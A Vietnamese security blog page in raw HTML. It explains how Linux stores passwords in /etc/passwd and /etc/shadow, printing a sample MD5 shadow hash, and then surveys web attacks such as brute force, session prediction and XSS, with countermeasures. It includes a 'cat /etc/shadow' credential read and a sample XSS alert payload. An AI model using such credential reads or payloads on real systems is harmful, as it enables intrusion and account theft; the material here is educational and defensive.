<code style="background-color: #f9f2f4; border-bottom-left-radius: 4px; border-bottom-right-radius: 4px; border-top-left-radius: 4px; border-top-right-radius: 4px; box-sizing: border-box; color: #c7254e; font-family: Monaco, Menlo, Consolas, 'Courier New', monospace; font-size: 13px; padding: 2px 4px; white-space: nowrap;">[root@localhost ~]</code><code style="background-color: #f9f2f4; border-bottom-left-radius: 4px; border-bottom-right-radius: 4px; border-top-left-radius: 4px; border-top-right-radius: 4px; box-sizing: border-box; color: #c7254e; font-family: Monaco, Menlo, Consolas, 'Courier New', monospace; font-size: 13px; padding: 2px 4px; white-space: nowrap;"># ll /etc/passwd</code></div>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; padding-left: 30px;">
<code style="background-color: #f9f2f4; border-bottom-left-radius: 4px; border-bottom-right-radius: 4px; border-top-left-radius: 4px; border-top-right-radius: 4px; box-sizing: border-box; color: #c7254e; font-family: Monaco, Menlo, Consolas, 'Courier New', monospace; font-size: 13px; padding: 2px 4px; white-space: nowrap;">-rw-r--r-- 1 root root 1373 Apr  1 13:50 </code><code style="background-color: #f9f2f4; border-bottom-left-radius: 4px; border-bottom-right-radius: 4px; border-top-left-radius: 4px; border-top-right-radius: 4px; box-sizing: border-box; color: #c7254e; font-family: Monaco, Menlo, Consolas, 'Courier New', monospace; font-size: 13px; padding: 2px 4px; white-space: nowrap;">/etc/passwd</code></div>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;">
Điều này khá nhạy cảm vì thông tin user sẽ bị phơi bày trước bất kỳ user nào trong hệ thống. Tuy nhiên thuộc tính ‘r’ là cần thiết vì một số ứng dụng và tool hệ thống cần đọc file này thì mới chạy chính xác. Giả sử, tôi thay đổi quyền truy cập file này để chỉ có ‘root’ mới có quyền đọc.</div>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; padding-left: 30px;">
<code style="background-color: #f9f2f4; border-bottom-left-radius: 4px; border-bottom-right-radius: 4px; border-top-left-radius: 4px; border-top-right-radius: 4px; box-sizing: border-box; color: #c7254e; font-family: Monaco, Menlo, Consolas, 'Courier New', monospace; font-size: 13px; padding: 2px 4px; white-space: nowrap;">[root@localhost ~]</code><code style="background-color: #f9f2f4; border-bottom-left-radius: 4px; border-bottom-right-radius: 4px; border-top-left-radius: 4px; border-top-right-radius: 4px; box-sizing: border-box; color: #c7254e; font-family: Monaco, Menlo, Consolas, 'Courier New', monospace; font-size: 13px; padding: 2px 4px; white-space: nowrap;"># chmod 600 /etc/passwd</code></div>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; padding-left: 30px;">
<code style="background-color: #f9f2f4; border-bottom-left-radius: 4px; border-bottom-right-radius: 4px; border-top-left-radius: 4px; border-top-right-radius: 4px; box-sizing: border-box; color: #c7254e; font-family: Monaco, Menlo, Consolas, 'Courier New', monospace; font-size: 13px; padding: 2px 4px; white-space: nowrap;">[root@localhost ~]</code><code style="background-color: #f9f2f4; border-bottom-left-radius: 4px; border-bottom-right-radius: 4px; border-top-left-radius: 4px; border-top-right-radius: 4px; box-sizing: border-box; color: #c7254e; font-family: Monaco, Menlo, Consolas, 'Courier New', monospace; font-size: 13px; padding: 2px 4px; white-space: nowrap;"># ll /etc/passwd</code></div>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; padding-left: 30px;">
<code style="background-color: #f9f2f4; border-bottom-left-radius: 4px; border-bottom-right-radius: 4px; border-top-left-radius: 4px; border-top-right-radius: 4px; box-sizing: border-box; color: #c7254e; font-family: Monaco, Menlo, Consolas, 'Courier New', monospace; font-size: 13px; padding: 2px 4px; white-space: nowrap;">-rw------- 1 root root 1373 Apr  1 13:50 </code><code style="background-color: #f9f2f4; border-bottom-left-radius: 4px; border-bottom-right-radius: 4px; border-top-left-radius: 4px; border-top-right-radius: 4px; box-sizing: border-box; color: #c7254e; font-family: Monaco, Menlo, Consolas, 'Courier New', monospace; font-size: 13px; padding: 2px 4px; white-space: nowrap;">/etc/passwd</code></div>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;">
Bây giờ, điều gì sẽ xảy ra khi tôi chuyển sang một user thường có sẵn trên hệ thống:</div>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; padding-left: 30px;">
<code style="background-color: #f9f2f4; border-bottom-left-radius: 4px; border-bottom-right-radius: 4px; border-top-left-radius: 4px; border-top-right-radius: 4px; box-sizing: border-box; color: #c7254e; font-family: Monaco, Menlo, Consolas, 'Courier New', monospace; font-size: 13px; padding: 2px 4px; white-space: nowrap;">root@localhost ~]</code><code style="background-color: #f9f2f4; border-bottom-left-radius: 4px; border-bottom-right-radius: 4px; border-top-left-radius: 4px; border-top-right-radius: 4px; box-sizing: border-box; color: #c7254e; font-family: Monaco, Menlo, Consolas, 'Courier New', monospace; font-size: 13px; padding: 2px 4px; white-space: nowrap;"># su - mario</code></div>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; padding-left: 30px;">
<code style="background-color: #f9f2f4; border-bottom-left-radius: 4px; border-bottom-right-radius: 4px; border-top-left-radius: 4px; border-top-right-radius: 4px; box-sizing: border-box; color: #c7254e; font-family: Monaco, Menlo, Consolas, 'Courier New', monospace; font-size: 13px; padding: 2px 4px; white-space: nowrap;">id</code><code style="background-color: #f9f2f4; border-bottom-left-radius: 4px; border-bottom-right-radius: 4px; border-top-left-radius: 4px; border-top-right-radius: 4px; box-sizing: border-box; color: #c7254e; font-family: Monaco, Menlo, Consolas, 'Courier New', monospace; font-size: 13px; padding: 2px 4px; white-space: nowrap;">: cannot </code><code style="background-color: #f9f2f4; border-bottom-left-radius: 4px; border-bottom-right-radius: 4px; border-top-left-radius: 4px; border-top-right-radius: 4px; box-sizing: border-box; color: #c7254e; font-family: Monaco, Menlo, Consolas, 'Courier New', monospace; font-size: 13px; padding: 2px 4px; white-space: nowrap;">find</code> <code style="background-color: #f9f2f4; border-bottom-left-radius: 4px; border-bottom-right-radius: 4px; border-top-left-radius: 4px; border-top-right-radius: 4px; box-sizing: border-box; color: #c7254e; font-family: Monaco, Menlo, Consolas, 'Courier New', monospace; font-size: 13px; padding: 2px 4px; white-space: nowrap;">name </code><code style="background-color: #f9f2f4; border-bottom-left-radius: 4px; border-bottom-right-radius: 4px; border-top-left-radius: 4px; border-top-right-radius: 4px; box-sizing: border-box; color: #c7254e; font-family: Monaco, Menlo, Consolas, 'Courier New', monospace; font-size: 13px; padding: 2px 4px; white-space: nowrap;">for</code> <code style="background-color: #f9f2f4; border-bottom-left-radius: 4px; border-bottom-right-radius: 4px; border-top-left-radius: 4px; border-top-right-radius: 4px; box-sizing: border-box; color: #c7254e; font-family: Monaco, Menlo, Consolas, 'Courier New', monospace; font-size: 13px; padding: 2px 4px; white-space: nowrap;">user ID 500</code></div>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; padding-left: 30px;">
<code style="background-color: #f9f2f4; border-bottom-left-radius: 4px; border-bottom-right-radius: 4px; border-top-left-radius: 4px; border-top-right-radius: 4px; box-sizing: border-box; color: #c7254e; font-family: Monaco, Menlo, Consolas, 'Courier New', monospace; font-size: 13px; padding: 2px 4px; white-space: nowrap;">id</code><code style="background-color: #f9f2f4; border-bottom-left-radius: 4px; border-bottom-right-radius: 4px; border-top-left-radius: 4px; border-top-right-radius: 4px; box-sizing: border-box; color: #c7254e; font-family: Monaco, Menlo, Consolas, 'Courier New', monospace; font-size: 13px; padding: 2px 4px; white-space: nowrap;">: cannot </code><code style="background-color: #f9f2f4; border-bottom-left-radius: 4px; border-bottom-right-radius: 4px; border-top-left-radius: 4px; border-top-right-radius: 4px; box-sizing: border-box; color: #c7254e; font-family: Monaco, Menlo, Consolas, 'Courier New', monospace; font-size: 13px; padding: 2px 4px; white-space: nowrap;">find</code> <code style="background-color: #f9f2f4; border-bottom-left-radius: 4px; border-bottom-right-radius: 4px; border-top-left-radius: 4px; border-top-right-radius: 4px; box-sizing: border-box; color: #c7254e; font-family: Monaco, Menlo, Consolas, 'Courier New', monospace; font-size: 13px; padding: 2px 4px; white-space: nowrap;">name </code><code style="background-color: #f9f2f4; border-bottom-left-radius: 4px; border-bottom-right-radius: 4px; border-top-left-radius: 4px; border-top-right-radius: 4px; box-sizing: border-box; color: #c7254e; font-family: Monaco, Menlo, Consolas, 'Courier New', monospace; font-size: 13px; padding: 2px 4px; white-space: nowrap;">for</code> <code style="background-color: #f9f2f4; border-bottom-left-radius: 4px; border-bottom-right-radius: 4px; border-top-left-radius: 4px; border-top-right-radius: 4px; box-sizing: border-box; color: #c7254e; font-family: Monaco, Menlo, Consolas, 'Courier New', monospace; font-size: 13px; padding: 2px 4px; white-space: nowrap;">user ID 500</code></div>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; padding-left: 30px;">
<code style="background-color: #f9f2f4; border-bottom-left-radius: 4px; border-bottom-right-radius: 4px; border-top-left-radius: 4px; border-top-right-radius: 4px; box-sizing: border-box; color: #c7254e; font-family: Monaco, Menlo, Consolas, 'Courier New', monospace; font-size: 13px; padding: 2px 4px; white-space: nowrap;">[I have no name!@localhost ~]$</code></div>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;">
Oh, tôi không thể thay đổi chuyển sang tài khoản có tên là mario, bới vì nó sẽ không đọc được file /etc/passwd nên không thể lấy thông tin username, home directory..của mario được lưu trữ trong file /etc/passwd.<br style="box-sizing: border-box;" />Nếu để password lưu trữ trong /etc/passwd thì cũng rất nguy hiểm, mặc dù có thể mã hóa mật khẩu bằng 1 thuật toán băm(Vì tất cả user trong hệ thống đều đọc được).</div>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;">
Vì vậy, cần lưu trữ password người dùng trong 1 file mà chỉ ‘root’ mới đọc được. Giải pháp mà Linux đưa ra là bổ xung 1 file tên là /etc/shadow để lưu trữ mật khẩu người dùng. File /etc/shadow này chỉ truy cập được bởi ‘root’.</div>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; padding-left: 30px;">
<code style="background-color: #f9f2f4; border-bottom-left-radius: 4px; border-bottom-right-radius: 4px; border-top-left-radius: 4px; border-top-right-radius: 4px; box-sizing: border-box; color: #c7254e; font-family: Monaco, Menlo, Consolas, 'Courier New', monospace; font-size: 13px; padding: 2px 4px; white-space: nowrap;">[root@localhost ~]</code><code style="background-color: #f9f2f4; border-bottom-left-radius: 4px; border-bottom-right-radius: 4px; border-top-left-radius: 4px; border-top-right-radius: 4px; box-sizing: border-box; color: #c7254e; font-family: Monaco, Menlo, Consolas, 'Courier New', monospace; font-size: 13px; padding: 2px 4px; white-space: nowrap;"># ll /etc/shadow</code></div>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; padding-left: 30px;">
<code style="background-color: #f9f2f4; border-bottom-left-radius: 4px; border-bottom-right-radius: 4px; border-top-left-radius: 4px; border-top-right-radius: 4px; box-sizing: border-box; color: #c7254e; font-family: Monaco, Menlo, Consolas, 'Courier New', monospace; font-size: 13px; padding: 2px 4px; white-space: nowrap;">-r-------- 1 root root 897 Apr  1 13:50 </code><code style="background-color: #f9f2f4; border-bottom-left-radius: 4px; border-bottom-right-radius: 4px; border-top-left-radius: 4px; border-top-right-radius: 4px; box-sizing: border-box; color: #c7254e; font-family: Monaco, Menlo, Consolas, 'Courier New', monospace; font-size: 13px; padding: 2px 4px; white-space: nowrap;">/etc/shadow</code></div>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;">
Bây giờ, thử xem nội dung file <strong style="box-sizing: border-box; color: black;">/etc/shadow</strong></div>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: center;">
<a href="http://securitydaily.net/wp-content/uploads/2014/04/shadow2.png" rel="lightbox[gallery-nOIe]" style="-webkit-transition: 300ms; box-sizing: border-box; color: #486493; text-decoration: none; transition: 300ms;"><img alt="Tìm hiểu cách lưu trữ mật khẩu người dùng trên Linux" class="aligncenter size-large wp-image-1899" src="http://securitydaily.net/wp-content/uploads/2014/04/shadow2-700x374.png" style="border: 0px; box-sizing: border-box; vertical-align: middle;" /></a></div>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; padding-left: 30px;">
<code style="background-color: #f9f2f4; border-bottom-left-radius: 4px; border-bottom-right-radius: 4px; border-top-left-radius: 4px; border-top-right-radius: 4px; box-sizing: border-box; color: #c7254e; font-family: Monaco, Menlo, Consolas, 'Courier New', monospace; font-size: 13px; padding: 2px 4px; white-space: nowrap;">[root@localhost ~]</code><code style="background-color: #f9f2f4; border-bottom-left-radius: 4px; border-bottom-right-radius: 4px; border-top-left-radius: 4px; border-top-right-radius: 4px; box-sizing: border-box; color: #c7254e; font-family: Monaco, Menlo, Consolas, 'Courier New', monospace; font-size: 13px; padding: 2px 4px; white-space: nowrap;"># cat /etc/shadow</code></div>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; padding-left: 30px;">
<code style="background-color: #f9f2f4; border-bottom-left-radius: 4px; border-bottom-right-radius: 4px; border-top-left-radius: 4px; border-top-right-radius: 4px; box-sizing: border-box; color: #c7254e; font-family: Monaco, Menlo, Consolas, 'Courier New', monospace; font-size: 13px; padding: 2px 4px; white-space: nowrap;">mario:$1$0XJ4dcSP$wpBqBzQSmIppMPEjeYP8K/:16161:0:99999:7:::</code></div>
<ol style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; margin-top: 0px;">
<li style="box-sizing: border-box;">Trường đầu tiên, đó chính là username <span style="box-sizing: border-box; color: red;">mario</span></li>
<li style="box-sizing: border-box;">Trường thứ 2 đó là trường password đã được mã hóa <span style="box-sizing: border-box; color: red;">$1$0XJ4dcSP$wpBqBzQSmIppMPEjeYP8K/</span>. Đây chính xác là trường tôi cần quan tâm và cần khai thác ở bài post này.</li>
</ol>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;">
Nội dung password đã được mã hóa <span style="box-sizing: border-box; color: red;">$1$0XJ4dcSP$wpBqBzQSmIppMPEjeYP8K/</span> có ý nghĩa gì?</div>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;">
- Trường đầu tiên, cho biết thuật toán sử dụng để băm(trong ví dụ này là 1 – MD5 hashing algorithm)</div>
<pre style="background-color: whitesmoke; border-bottom-left-radius: 4px; border-bottom-right-radius: 4px; border-top-left-radius: 4px; border-top-right-radius: 4px; border: 1px solid rgb(204, 204, 204); box-sizing: border-box; color: #333333; font-family: Monaco, Menlo, Consolas, 'Courier New', monospace; font-size: 13px; line-height: 1.428571429; margin-bottom: 10px; padding: 9.5px 9.5px 9.5px 30px; white-space: pre-wrap; word-break: break-all; word-wrap: break-word;"> $1 = MD5 hashing algorithm.
 $2 = Blowfish Algorithm is in use.
 $2a = eksblowfish Algorithm
 $5 = SHA-256 Algorithm
 $6 = SHA-512 Algorithm</pre>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;">
- Trường thứ 2 là một chuỗi dữ liệu ngẫu nhiên(random data hay còn gọi là salt) được sinh ra để kết hợp với mật khẩu người dùng(user password), để tăng sức mạnh băm(trong ví dụ này là <span style="box-sizing: border-box; color: #ff9900;">0XJ4dcSP</span>)</div>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;">
- Trường thứ 3 là giá trị băm của salt + user password(trong ví dụ này là <span style="box-sizing: border-box; color: #ff9900;">wpBqBzQSmIppMPEjeYP8K</span>/)</div>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;">
Khi bạn login vào hệ thống, bạn nhập user/password. Hệ thống sẽ sử dụng giá trị salt của user + password mà bạn nhập vào để tạo ra 1 chuỗi mã hóa. Nếu chuỗi mã hóa này trùng với chuỗi mã hóa trong file /etc/shadow thì user login thành công.</div>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;">
Câu hỏi đặt ra là “<strong style="box-sizing: border-box; color: black;">Điều gì sẽ xảy ra nếu không có Salt</strong>?”.</div>
<div>
<br /></div>

Tìm hiểu cách lưu trữ mật khẩu người dùng trên Linux

Nếu bạn là người quản trị hệ thống Linux thường xuyên thì việc login/logout vào hệ thống là điều mặc định hiển nhiên. Trên màn hình đăng nh...

Một số phương thức tấn công ứng dụng web

<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;">
Đối với các cơ quan, tổ chức website là kênh cung cấp thông tin hiệu quả và nhanh chóng nhất. Cũng chính đặc điểm này, các website thường xuyên là mục tiêu tấn công của tin tặc để khai thác đánh cắp các thông tin liên quan bên trong. Một trong những phương thức tấn công phổ biến là khai thác các lỗi bảo mật liên quan đến ứng dụng web.</div>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;">
Các lỗi bảo mật ứng dụng web là nguyên nhân chủ yếu gây ra các lỗi đối với website đang vận hành. Sau khi xác định các lỗi này, tin tặc sẽ sử dụng các kỹ thuật khác nhau để tiến hành khai thác hệ thống đích. Một số kỹ thuật thường được sử dụng: Buffer Overflows, SQL Injection, and Cross-site Scripting…Việc phân loại các kiểu tấn công thành các nhóm khác nhau sẽ giúp cho người quản trị dễ dàng xác định các nguy cơ cũng như biên pháp đối phó hơn.</div>
<h4 style="background-color: white; box-sizing: border-box; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 18px; font-weight: 500; line-height: 1.1; margin-bottom: 10px; margin-top: 10px;">
<strong style="box-sizing: border-box;">Tấn công Bruteforce</strong></h4>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;">
Bruteforce là cách thức thử tất cả các khả năng có thể có để đoán các thông tin cá nhân đăng nhập: tài khoản, mật khẩu, số thẻ tín dụng…Nhiều hệ thống cho phép sử dụng mật khẩu hoặc thuật toán mã hóa yếu sẽ tạo điều kiện cho tin tặc sử dụng phương pháp tấn công này để đoán tài khoản và mật khẩu đăng nhập. Sau đó sử dụng các thông tin này để đăng nhập truy cập vào tài nguyên hệ thống.</div>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;">
Biện pháp đối phó:</div>
<ul style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; margin-top: 0px;">
<li style="box-sizing: border-box;">Tăng cường độ mạnh cho mật khẩu (Độ dài ít nhất 6 ký tự, không chứa chuỗi username, chứa ít nhất 1 ký tự số, chứa ít nhất 1 ký tự đặc biệt, không cho phép thay đổi mật khẩu trùng lặp đã sử dụng, quản lý, điều khiển thông báo lỗi)</li>
<li style="box-sizing: border-box;">Sử dụng cơ chế chứng thực (Basic hoặc Digest Authentication)</li>
<li style="box-sizing: border-box;">Hạn chế số lần đăng nhập hoặc khóa tài khoản đăng nhập sai</li>
<li style="box-sizing: border-box;">Sử dụng module Mod_Dosevasive để xác định dấu hiệu của kiểu tấn công này.</li>
</ul>
<h4 style="background-color: white; box-sizing: border-box; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 18px; font-weight: 500; line-height: 1.1; margin-bottom: 10px; margin-top: 10px;">
<strong style="box-sizing: border-box;">Lỗi chứng thực yếu (Insufficient Authentication)</strong></h4>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;">
Lỗi chứng thực yếu xuất hiện khi một website cho phép truy cập các nội dung, tài nguyên nhạy cảm mà không có đủ quyền. Các trang quản trị là một ví dụ dễ thấy nhất. Nếu không có cơ chế phân quyền hợp lý thư mục cũng như tài khoản đăng nhập trang quản trị này. Tin tặc hoàn toàn có khả năng vượt qua được cơ chế đăng nhập để chiếm quyền điều khiển trang này.</div>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;">
Biện pháp đối phó:</div>
<ul style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; margin-top: 0px;">
<li style="box-sizing: border-box;">Thiết lập cơ chế điều khiển truy cập thông quan .htaccess hoặc tập tin cấu hình httpd.conf</li>
</ul>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;">
Ví dụ: Điều khiển truy cập thông qua httpd.conf</div>
<address style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; font-style: normal; line-height: 20px; margin-bottom: 20px; padding-left: 30px;">
<LocationMatch “^/admin/”></address>
<address style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; font-style: normal; line-height: 20px; margin-bottom: 20px; padding-left: 30px;">
SSLRequireSSL</address>
<address style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; font-style: normal; line-height: 20px; margin-bottom: 20px; padding-left: 30px;">
AuthType Digest</address>
<address style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; font-style: normal; line-height: 20px; margin-bottom: 20px; padding-left: 30px;">
AuthName “Admin Area”</address>
<address style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; font-style: normal; line-height: 20px; margin-bottom: 20px; padding-left: 30px;">
AuthDigestfile /usr/local/apache/conf/passwd_digest</address>
<address style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; font-style: normal; line-height: 20px; margin-bottom: 20px; padding-left: 30px;">
Require user admin</address>
<address style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; font-style: normal; line-height: 20px; margin-bottom: 20px; padding-left: 30px;">
</LocationMatch></address>
<h4 style="background-color: white; box-sizing: border-box; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 18px; font-weight: 500; line-height: 1.1; margin-bottom: 10px; margin-top: 10px;">
<strong style="box-sizing: border-box;">Dự đoán, chèn phiên (Credentical/Session Prediction)</strong></h4>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;">
Dự đoán, chèn phiênlà một phương thức chiếm phiên (hijacking). Thông thường, khi một tài khoản thực hiện quá trình chứng thực đối với server (tài khoản/mật khẩu). Dựa vào các thông tin này, server sẽ tạo một giá trị session ID duy nhất để cho phép và duy trì kết nối. Nếu đoán được session ID kế tiếp thì tin tặc có khả năng chiếm phiên đăng nhập của người dùng hợp lệ khác.</div>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;">
Biện pháp đối phó:</div>
<ul style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; margin-top: 0px;">
<li style="box-sizing: border-box;">Sử dụng SSL (<em style="box-sizing: border-box;">mod_ssl</em>) trong quá trình chứng thực để chống lại việc nghe lén dữ liệu quan trọng.</li>
<li style="box-sizing: border-box;">Sử dụng cơ chế tạo session ID ngẫu nhiên, thuật toán mã hóa mạnh.</li>
<li style="box-sizing: border-box;">Session ID phải đủ lớn để làm khó quá trình tấn công brute-fore.</li>
<li style="box-sizing: border-box;">Giới hạn thời gian tồn tại của session ID.</li>
</ul>
<h4 style="background-color: white; box-sizing: border-box; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 18px; font-weight: 500; line-height: 1.1; margin-bottom: 10px; margin-top: 10px;">
<strong style="box-sizing: border-box;">XSS – Cross-Site Scripting</strong></h4>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;">
XSS là một trong những kĩ thuật tấn công phổ biến nhất hiện nay, đồng thời nó cũng là một trong những vấn đề bảo mật quan trọng đối với các nhà phát triển web và cả những người sử dụng web. Bất kì một website nào cho phép người sử dụng đăng thông tin mà không có sự kiểm tra chặt chẽ các đoạn mã nguy hiểm thì đều có thể tiềm ẩn các lỗi XSS.</div>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;">
Tin tặc tấn công bằng cách chèn vào các website động (ASP, PHP, CGI, JSP …) những thẻ HTML hay những đoạn mã script nguy hiểm có thể gây nguy hại cho những người sử dụng khác. Trong đó, những đoạn mã nguy hiểm đựơc chèn vào hầu hết được viết bằng các Client-Site Script như JavaScript, JScript, DHTML và cũng có thể là cả các thẻ HTML</div>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;">
Ví dụ: Sử dụng XSS chèn mã java script trực tiếp trên URL</div>
<address style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; font-style: normal; line-height: 20px; margin-bottom: 20px; padding-left: 30px;">
http://www.demo.com/search.cgi?query=<script>alert(‘XSS was found !’);</script></address>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;">
Khi wesite http://www.demo.combị lỗi XSS trình duyệt sẽ hiện lên một thông báo “XSS was found !”.</div>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;">
Nếu như các kĩ thuật tấn công khác có thể làm thay đổi được dữ liệu nguồn của web server (mã nguồn, cấu trúc, cơ sở dữ liệu) thì XSS chỉ gây tổn hại đối với website ở phía client mà nạn nhân trực tiếp là những người khách duyệt site đó</div>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;">
Biện pháp đối phó:</div>
